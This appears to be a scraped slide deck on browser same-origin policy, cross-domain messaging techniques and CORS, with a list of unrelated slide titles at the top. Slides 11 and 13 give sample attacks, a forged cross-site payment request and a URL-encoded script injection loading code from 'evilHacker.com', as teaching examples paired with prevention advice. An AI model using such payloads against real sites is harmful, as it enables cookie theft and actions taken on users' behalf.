 
Comparing Linux OS Image Update Models - EOSS 2024.pdf
Comparing Linux OS Image Update Models - EOSS 2024.pdfComparing Linux OS Image Update Models - EOSS 2024.pdf
Comparing Linux OS Image Update Models - EOSS 2024.pdfDrew Moseley
 
Balasore Best It Company|| Top 10 IT Company || Balasore Software company Odisha
Balasore Best It Company|| Top 10 IT Company || Balasore Software company OdishaBalasore Best It Company|| Top 10 IT Company || Balasore Software company Odisha
Balasore Best It Company|| Top 10 IT Company || Balasore Software company Odishasmiwainfosol
 
Intelligent Home Wi-Fi Solutions | ThinkPalm
Intelligent Home Wi-Fi Solutions | ThinkPalmIntelligent Home Wi-Fi Solutions | ThinkPalm
Intelligent Home Wi-Fi Solutions | ThinkPalmSujith Sukumaran
 

Recently uploaded (20)

CRM Contender Series: HubSpot vs. Salesforce
CRM Contender Series: HubSpot vs. SalesforceCRM Contender Series: HubSpot vs. Salesforce
CRM Contender Series: HubSpot vs. Salesforce
 
Advantages of Odoo ERP 17 for Your Business
Advantages of Odoo ERP 17 for Your BusinessAdvantages of Odoo ERP 17 for Your Business
Advantages of Odoo ERP 17 for Your Business
 
Taming Distributed Systems: Key Insights from Wix's Large-Scale Experience - ...
Taming Distributed Systems: Key Insights from Wix's Large-Scale Experience - ...Taming Distributed Systems: Key Insights from Wix's Large-Scale Experience - ...
Taming Distributed Systems: Key Insights from Wix's Large-Scale Experience - ...
 
GOING AOT WITH GRAALVM – DEVOXX GREECE.pdf
GOING AOT WITH GRAALVM – DEVOXX GREECE.pdfGOING AOT WITH GRAALVM – DEVOXX GREECE.pdf
GOING AOT WITH GRAALVM – DEVOXX GREECE.pdf
 
Odoo 14 - eLearning Module In Odoo 14 Enterprise
Odoo 14 - eLearning Module In Odoo 14 EnterpriseOdoo 14 - eLearning Module In Odoo 14 Enterprise
Odoo 14 - eLearning Module In Odoo 14 Enterprise
 
Sending Calendar Invites on SES and Calendarsnack.pdf
Sending Calendar Invites on SES and Calendarsnack.pdfSending Calendar Invites on SES and Calendarsnack.pdf
Sending Calendar Invites on SES and Calendarsnack.pdf
 
How to submit a standout Adobe Champion Application
How to submit a standout Adobe Champion ApplicationHow to submit a standout Adobe Champion Application
How to submit a standout Adobe Champion Application
 
Machine Learning Software Engineering Patterns and Their Engineering
Machine Learning Software Engineering Patterns and Their EngineeringMachine Learning Software Engineering Patterns and Their Engineering
Machine Learning Software Engineering Patterns and Their Engineering
 
Open Source Summit NA 2024: Open Source Cloud Costs - OpenCost's Impact on En...
Open Source Summit NA 2024: Open Source Cloud Costs - OpenCost's Impact on En...Open Source Summit NA 2024: Open Source Cloud Costs - OpenCost's Impact on En...
Open Source Summit NA 2024: Open Source Cloud Costs - OpenCost's Impact on En...
 
A healthy diet for your Java application Devoxx France.pdf
A healthy diet for your Java application Devoxx France.pdfA healthy diet for your Java application Devoxx France.pdf
A healthy diet for your Java application Devoxx France.pdf
 
Cloud Data Center Network Construction - IEEE
Cloud Data Center Network Construction - IEEECloud Data Center Network Construction - IEEE
Cloud Data Center Network Construction - IEEE
 
Software Coding for software engineering
Software Coding for software engineeringSoftware Coding for software engineering
Software Coding for software engineering
 
Folding Cheat Sheet #4 - fourth in a series
Folding Cheat Sheet #4 - fourth in a seriesFolding Cheat Sheet #4 - fourth in a series
Folding Cheat Sheet #4 - fourth in a series
 
SensoDat: Simulation-based Sensor Dataset of Self-driving Cars
SensoDat: Simulation-based Sensor Dataset of Self-driving CarsSensoDat: Simulation-based Sensor Dataset of Self-driving Cars
SensoDat: Simulation-based Sensor Dataset of Self-driving Cars
 
Recruitment Management Software Benefits (Infographic)
Recruitment Management Software Benefits (Infographic)Recruitment Management Software Benefits (Infographic)
Recruitment Management Software Benefits (Infographic)
 
Global Identity Enrolment and Verification Pro Solution - Cizo Technology Ser...
Global Identity Enrolment and Verification Pro Solution - Cizo Technology Ser...Global Identity Enrolment and Verification Pro Solution - Cizo Technology Ser...
Global Identity Enrolment and Verification Pro Solution - Cizo Technology Ser...
 
MYjobs Presentation Django-based project
MYjobs Presentation Django-based projectMYjobs Presentation Django-based project
MYjobs Presentation Django-based project
 
Comparing Linux OS Image Update Models - EOSS 2024.pdf
Comparing Linux OS Image Update Models - EOSS 2024.pdfComparing Linux OS Image Update Models - EOSS 2024.pdf
Comparing Linux OS Image Update Models - EOSS 2024.pdf
 
Balasore Best It Company|| Top 10 IT Company || Balasore Software company Odisha
Balasore Best It Company|| Top 10 IT Company || Balasore Software company OdishaBalasore Best It Company|| Top 10 IT Company || Balasore Software company Odisha
Balasore Best It Company|| Top 10 IT Company || Balasore Software company Odisha
 
Intelligent Home Wi-Fi Solutions | ThinkPalm
Intelligent Home Wi-Fi Solutions | ThinkPalmIntelligent Home Wi-Fi Solutions | ThinkPalm
Intelligent Home Wi-Fi Solutions | ThinkPalm
 

Going Beyond Cross Domain Boundaries (jQuery Bulgaria)

  • 1. var title = “Go Beyond Cross Domain Boundaries”; $(this).attr(“title”, title); $(this).data({ font: ‘Segoe UI’, size: ‘30pt’, speaker: ‘Ivelin Andreev’ });
  • 2. About me • Project Manager @ • 11 years professional experience • MCPD .NET Web Development • ivelin.andreev@icb.bg • http://www.linkedin.com/in/ivelin • Business Interests o Web Development (ASP.NET, jQuery, AJAX) o SOA, Integration o GIS, Mapping o Performance tuning, Network security
  • 3. Agenda • • • • • • • What is Same Origin Policy Security issues it solves Security issues it does not solve X-domain techniques CORS Why CORS? Demo
  • 4. The Same Origin Policy (SOP) • Same origin - if scheme://host:port are the same • JavaScript limited by SOP • Script access properties of documents with same origin o DOM objects o Cookies
  • 5. Same origin policy is the most important security concept in modern browsers https://lh4.googleusercontent.com/-o9vXTXNxnYc/TY3u5UpV-UI/AAAAAAAAXiM/gvMHSRbhGWU/s1600/1600constitution.jpg
  • 6. Same Origin Policy as Concept • Not a single policy but set of mechanisms o o o o o o SOP for DOM access SOP for XMLHttpRequest SOP for Cookies SOP for Flash SOP for Java SOP for Silverlight • Significant bottleneck in browsers • Behavior is different among browsers • Static bound to single domain o Not all content on site should be trusted the same
  • 7. Change origin is possible (with some limitations) http://nutshelltek.com/wp-content/uploads/2013/05/Security.jpg
  • 8. Changing Origin • document.domain o Allow subdomain to access parent domain o Must set to the same value for parent domain and subdomain • Port number set to null • Even in document.domain = document.domain • Cross-origin network access o X-Origin Writes – Typically Allowed (redirects, form submissions) o X-Origin Embed – Typically Allowed • JavaScript <script src="..."></script> • CSS <link rel="stylesheet" href="..."> • Frames <frame>, <iframe> • Media & Plugins <img>, <video>, <audio>, <object>, <embed> o X-Origin Reads – Typically Not allowed
  • 9. Same-Origin Policy Limits • http://evilHacker.com o <a> • Can link to resource in another domain • But cannot control site from another domain o <iframe> • Include resource from another domain • But cannot directly access DOM o <script> • Include script from another domain • But cannot act on behalf of the script • Implement policy check and inspect contents of enclosing page o <form method=“POST” name=“f1” action=“http://company.com/page.aspx”> • Submit forms without user input • But cannot access user cookies
  • 10. Cross domain policy does NOT prevent web application exploits
  • 11. Cross Site Request Forgery (XSRF) • Case o User logs in http://goodSite.com as usual o http://evilHacker.com can • POST new password in form to GoodSite.com • GET http://goodSite.com/Payment.aspx?amount=1000&userID=EvilHacker o Authenticated because cookies are sent • Impact o EvilHacker.com cannot read DOM but can POST to app o User access is blocked or stolen o Act on behalf of the user (payment) • Prevention o Identify valid requests • By user provided secret (low usability) • By XSRF token for every request
  • 12. Cross Site Scripting Inclusion (XSSI) • Case o o o o o o http://goodSite.com includes <script> to perform AJAX request http://evilHacker.com includes the same script Authenticated because cookies are sent JSONP (SCRIPT + JSON) returned by server as usual SCRIPT evaluated in EvilHacker.com context and JSON is stolen EvilHacker.com redefines callback • Impact o User data are stolen • Prevention o http://goodSite.com must check policy of script inclusion
  • 13. Cross Site Scripting (XSS) • Case o http://evilHacker.com injects <script> in http://goodSite.com application context • By posting HTML form field • By tricking user to click link with query parameters sent by mail o %3Cscript%20src%3D%27evilHacker.com%2Fscript.js%27%3E • Impact o Steel user cookies for GoodSite.com and transfer to EvilHacker.com o Phishing attack redirects to GoodSite.com copy o Script modify GoodSite.com content (even SSL cert will not warn) • Prevention o Filter user input o ALWAYS HTML and URL Encode/Decode o Do not send untrusted data to browser
  • 14. There is need of reliable and secure Cross Domain Messaging http://leadership-standard.blogspot.com/2012/08/the-message-you-dont-need.html
  • 15. Common X-Domain Use Cases Typical cases • Consume REST APIs • Build mashups • Operate Ads • Synchronize two pages Use when • You own both sites • Request information from a site that trusts you Note • No solution solves the problems in every browser.
  • 16. Policy limitations forced developers create ingenious workarounds
  • 17. window.name Hack • Child window (frame/iframe) sets: window.name = ‘{“message”:”text”}’; • Parent window: f = document.createElement('iframe'); f.onload = function () { doWork(); f.src='about:blank'}; f.src = 'http://otherDomain.com'; document.body.appendChild(f); Notes: • Very tricky, works on all browsers
  • 18. document.domain Hack • Allows cross SUB-domain access //From a page in http://sub.masterDomain.com document.domain = “masterDomain.com”; • Pages can access each other’s DOM objects • The sub- and parent domain have the same permissions Notes: • document.domain is ReadOnly property in HTML spec. • Useful when you do not own both sites • Works on all browsers • Port set to null when document.domain is set
  • 19. iFrame Proxy Hack • domainB tries to get parent.document o Permission denied to access property ‘document’’ • Hidden iFrame to exchange data • Proxy: subscribes to onResize event • Child: domainB sets hash on proxy domainA.com#msg • Proxy: reads message and changes window.top Notes: • Do-it-yourself approach • Complex and browser-dependent • Widely accepted as standard
  • 20. Other solutions are not that hacky http://designtaxi.com/userfiles/articles/101845/thumb/banner.png
  • 21. What is new in HTML5 window.postMessage Pass message between two windows safely otherWindow.postMessage(message, targetOrigin, [FF:transfer]); • otherWindow can listen for sent messages by executing: function receiveMessage(event) { if (event.origin !== "http://example.org") return; ... } window.addEventListener("message", receiveMessage, false); Notes: • Basic support in IE8, IE9, limitations in IE10 • Always check origin to prevent XSS attacks • If you do not expect messages, do not subscribe
  • 22. JSON-P • Loads JSON from another domain • Exploits HTML <script> element exception to SOP • Client adds query parameters to server <script type="application/javascript" src= "http://otherDomain.com/Svc/Get?callback=parseResponse" /> • Server returns JSON wrapped in function call parseResponse ({“this”:”is”,”json”:”data”}); • JS function callback evaluated in page Notes: • Useful for RESTful APIs • Vulnerable to XSRF and XSS attacks
  • 23. easyXDM Library • Pass string messages between domains o Enables developers to workaround SOP limitations o postMessage transport on modern browsers, fallback to frame element • Consumer var socket = new easyXDM.Socket({ remote: “http://domain.com/provider/”, //provider path onMessage: function(message, origin){ if (origin==“…”) alert(message); } }); socket.postMessage(“message"); • Provider var socket = new easyXDM.Socket({ onMessage: function(message, origin) {alert(message); } });
  • 24. Cross Origin Resource Sharing http://onlypositive.net/image.axd?picture=2010%2F6%2Fsharing-ice-cream-cone-girl-dog.jpg
  • 25. How does CORS Work • Request headers o Origin: http://myDomain.com • Response headers o Access-Control-Allow-Origin: • http://myDomain.com • “*” – all domains allowed o Error if not allowed Note: “*” does not allow supply of credentials o HTTP authentication will not work o Client SSL certificates will not work o Cookies will not work
  • 26. Preflight Request • Required when o HTTP verb other than GET/POST o Request MIME type other than text/plain (i.e. application/json) o Custom headers • Headers determine whether CORS is enabled o Request (HTTP OPTIONS method) • Origin: http://myDomain.com • Access-Control-Request-Method: [method the request wants to use] • Access-Control-Request-Headers: [optional CSV, custom headers] o Response • Access-Control-Allow-Origin: [allowed origin] • Access-Control-Allow-Methods: [CSV allowed methods] • Access-Control-Allow-Headers: [CSV allowed headers] • Access-Control-Max-Age: [seconds preflight is valid]
  • 27. Credential Request • By Default o X-domain do not send credentials (cookies, client SSL, HTTP authentication) • Request (specify send credentials) o xmlHttpRequest.withCredentials = true; • Response headers (if server allows ) o o o o Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: http://myDomain.com Otherwise response will be ignored by browser Header can be sent during pre-flight request
  • 28. Can I Use http://caniuse.com/cors IE 8 and IE9 limitations • • • Use XDomainRequest Preflight not supported Request limited to the target scheme of hosting page
  • 29. Why use CORS • The most robust solution for X-domain requests with JS • The best approach to consume RESTful API with JS • Modern alternative to JSON-P and W3C standard JSON-P HTTP Verbs GET Browser Support All CORS GET,PUT,POST,DELETE,OPTIONS Does not < IE 8 Error Handling Tricky to none HTTP status access via XHR Performance 1 HTTP Request 2 Requests (up to 3) Authentication Cookies only Cookies, Basic, client SSL X-Site Scripting If external site compromised Consumer parses response
  • 30. Check this out • Open Web Application Security Project o https://www.owasp.org/ • Mozilla Developer Network o http://developer.mozilla.org • Html5rocks CORS Tutorial o http://www.html5rocks.com/en/tutorials/cors/ • Gruyere Code Lab - Exploits and Defenses o http://google-gruyere.appspot.com/
  • 32. Thanks to our Sponsors: Diamond Sponsor: Gold Sponsors: Silver Sponsors: Technological Partners: Bronze Partners: Swag Sponsors: Media Partners: